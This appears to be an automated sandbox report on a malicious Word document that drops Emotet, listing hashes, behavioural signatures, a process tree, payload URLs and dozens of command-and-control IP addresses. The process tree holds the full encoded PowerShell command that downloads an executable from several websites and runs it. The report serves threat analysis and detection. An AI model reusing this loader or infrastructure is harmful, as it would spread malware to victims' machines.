Analysis
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max time kernel
139s -
max time network
148s -
platform
windows10_x64 -
resource
win10 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979.doc
Resource
win7
General
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Target
SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979.doc
-
Size
175KB
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MD5
9303da63c03de4b45d64d545c4898582
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SHA1
4e45c2b76cdbb4852610fc74a5e0d65c4ce66b3c
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SHA256
919a80b6e13ad304ca8f48f033d7b69939593d9bb35336e7934306593b8f6c40
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SHA512
3787c91ed25130e35551cbc66a79b2fb5fb88469ba9cf4fab9a3fc17ecdd3729ebfb47310fb6005d0f74aa43773c066601ae2ed19ac07dd2d36f6a0967709ffe
Malware Config
Extracted
http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/
https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/
https://www.dunnriteplumbing.ca/wp-admin/12x_jaaq_o3/
http://www.najcosmetics.com/img/hvglv_hay_35sacodg/
http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/
Extracted
emotet
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080
Signatures
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Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3556 powersheLL.exe -
Blacklisted process makes network request 2 IoCs
Processes:
powersheLL.exeflow pid process 13 3556 powersheLL.exe 15 3556 powersheLL.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
463.exedescription pid process target process PID 1168 wrote to memory of 1644 1168 463.exe PortableDeviceClassExtension.exe PID 1168 wrote to memory of 1644 1168 463.exe PortableDeviceClassExtension.exe PID 1168 wrote to memory of 1644 1168 463.exe PortableDeviceClassExtension.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/1168-9-0x00000000005E0000-0x00000000005EC000-memory.dmp emotet behavioral2/memory/1168-9-0x00000000005E0000-0x00000000005EC000-memory.dmp emotet behavioral2/memory/1644-12-0x00000000005B0000-0x00000000005BC000-memory.dmp emotet behavioral2/memory/1644-12-0x00000000005B0000-0x00000000005BC000-memory.dmp emotet -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE463.exePortableDeviceClassExtension.exepid process 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 2304 WINWORD.EXE 1168 463.exe 1644 PortableDeviceClassExtension.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2304 WINWORD.EXE 2304 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3556 1464 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exePortableDeviceClassExtension.exepid process 3556 powersheLL.exe 3556 powersheLL.exe 3556 powersheLL.exe 1644 PortableDeviceClassExtension.exe 1644 PortableDeviceClassExtension.exe 1644 PortableDeviceClassExtension.exe 1644 PortableDeviceClassExtension.exe -
Executes dropped EXE 2 IoCs
Processes:
463.exePortableDeviceClassExtension.exepid process 1168 463.exe 1644 PortableDeviceClassExtension.exe -
Drops file in System32 directory 1 IoCs
Processes:
463.exedescription ioc process File opened for modification C:\Windows\SysWOW64\twinapi.appcore\PortableDeviceClassExtension.exe 463.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\463.exeC:\Users\Admin\463.exe1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
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C:\Windows\SysWOW64\twinapi.appcore\PortableDeviceClassExtension.exe"C:\Windows\SysWOW64\twinapi.appcore\PortableDeviceClassExtension.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\463.exe
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C:\Users\Admin\463.exe
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C:\Windows\SysWOW64\twinapi.appcore\PortableDeviceClassExtension.exe
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memory/1168-9-0x00000000005E0000-0x00000000005EC000-memory.dmpFilesize
48KB
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memory/1644-10-0x0000000000000000-mapping.dmp
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memory/1644-12-0x00000000005B0000-0x00000000005BC000-memory.dmpFilesize
48KB